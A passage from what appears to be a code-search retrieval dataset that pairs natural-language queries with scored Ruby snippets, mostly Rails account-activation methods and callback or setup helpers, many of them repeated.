= true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "cee143766b93b9cbbf8828ef4368fa8c", "score": "0.6690649", "text": "def activate\n activating_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n if activating_user && !activating_user.active?\n activating_user.activate\n flash[:notice] = \"Subscription complete !\"\n\t\telse\n\t\t\tflash[:error] = \"Action failed !\"\n\t\tend\n redirect_to '/login'\n end", "title": "" }, { "docid": "c5102843ec71b7ed54bb4464004b6d74", "score": "0.6678878", "text": "def activate\n self.current_user = params[:activation_code].blank? ? :false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate\n flash[:notice] = \"Subscription complete !\"\n end\n redirect_back_or_default(admin_root_url)\n end", "title": "" }, { "docid": "24b00a9b04b20e32b5ea54b0b5b7bfb6", "score": "0.66771966", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "f782c820e34965f18ccb5773a6c694a4", "score": "0.6675221", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(:validate => false)\n end", "title": "" }, { "docid": "63a33735618e43f4bbe7aed5fbd54183", "score": "0.66643584", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n self.save\n end", "title": "" }, { "docid": "b3d640939a7cc09363fd87b02c542405", "score": "0.6658774", "text": "def activate? #activates the users account once they have registered\n update_attributes(:activated => true)\n if self.activated\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "77d7ba223442e659c9b4f4d9c5b3082f", "score": "0.6656406", "text": "def activate\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n redirect_to \"shipments?approved=true\"\n end", "title": "" }, { "docid": "72faa855e869ab3fd1a9729a609336b7", "score": "0.6654457", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save\n\n # send mail for activation\n UserMailer.dispatch_and_deliver( :activation_notification,\n { :from => User::EMAIL_FROM,\n :to => self.email,\n :subject => User::ACTIVATE_MAIL_SUBJECT },\n\n :user => self )\n\n end", "title": "" }, { "docid": "6cc0f43eda623e739bd7eafa98fc9d8c", "score": "0.6652962", "text": "def activate!\n\t\t @activated = true\n\t\t self.activated_at = Time.now.utc\n\t\t\t\t#Leave activation code in place to determine if already activated.\n\t\t #self.activation_code = nil\n\t\t save(false)\n\t\t end", "title": "" }, { "docid": "6cc0f43eda623e739bd7eafa98fc9d8c", "score": "0.6652962", "text": "def activate!\n\t\t @activated = true\n\t\t self.activated_at = Time.now.utc\n\t\t\t\t#Leave activation code in place to determine if already activated.\n\t\t #self.activation_code = nil\n\t\t save(false)\n\t\t end", "title": "" }, { "docid": "ca7a09dab8f83fd5b1986fa2f6c6c57c", "score": "0.6651646", "text": "def activate\r\n\t\t@activated = true\r\n\t\tself.activated_at = Time.now.utc\r\n\t\tself.activation_code = nil\r\n\t\tsave(false)\r\n\tend", "title": "" }, { "docid": "5a297fb008a824b5e7459acd72187bf6", "score": "0.66486746", "text": "def activate!\n self.active = true\n self.created_at = Time.now.utc\n self.activation_id = nil\n save(false)\n end", "title": "" }, { "docid": "c17fd84bf8b3f3d5f134ec5249baf7e5", "score": "0.66432106", "text": "def activate! record\n record.update_column(:active, true)\n end", "title": "" }, { "docid": "22fe83196c601976f40297a61e8f1ef1", "score": "0.6640575", "text": "def request_activation\n @user = User.new\n end", "title": "" }, { "docid": "87bf3e6f4521f3afa5936349b941cf63", "score": "0.6640353", "text": "def activate!\r\n @activated = true\r\n self.activated_at = Time.now.utc\r\n self.activation_code = nil\r\n save(:validate => false)\r\n end", "title": "" }, { "docid": "7b6bd5dcbb926ac8345010dc5ddb70e8", "score": "0.663893", "text": "def activate!(params)\n self.active = true\n self.password = params[:user][:password]\n self.password_confirmation = params[:user][:password_confirmation]\n #save_and_create_profile\n self.save\n end", "title": "" }, { "docid": "c20cccf812a4eb087333ce8dbb3b9c52", "score": "0.66381913", "text": "def activate_user user_id, params\n user_attr = get(\"/admin/tenants/#{current_user.tenant_id}/users/#{user_id}/issue_activation_code.json\", params)\n Cliskip2::User.new(user_attr['user'])\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632732", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "94d0601d1d7d5d6996fab6795d7831d7", "score": "0.66325647", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(:validate => false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.6632124", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "91213eb7eb6353c446012097d4474acb", "score": "0.0", "text": "def set_host\n @host = Host.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before 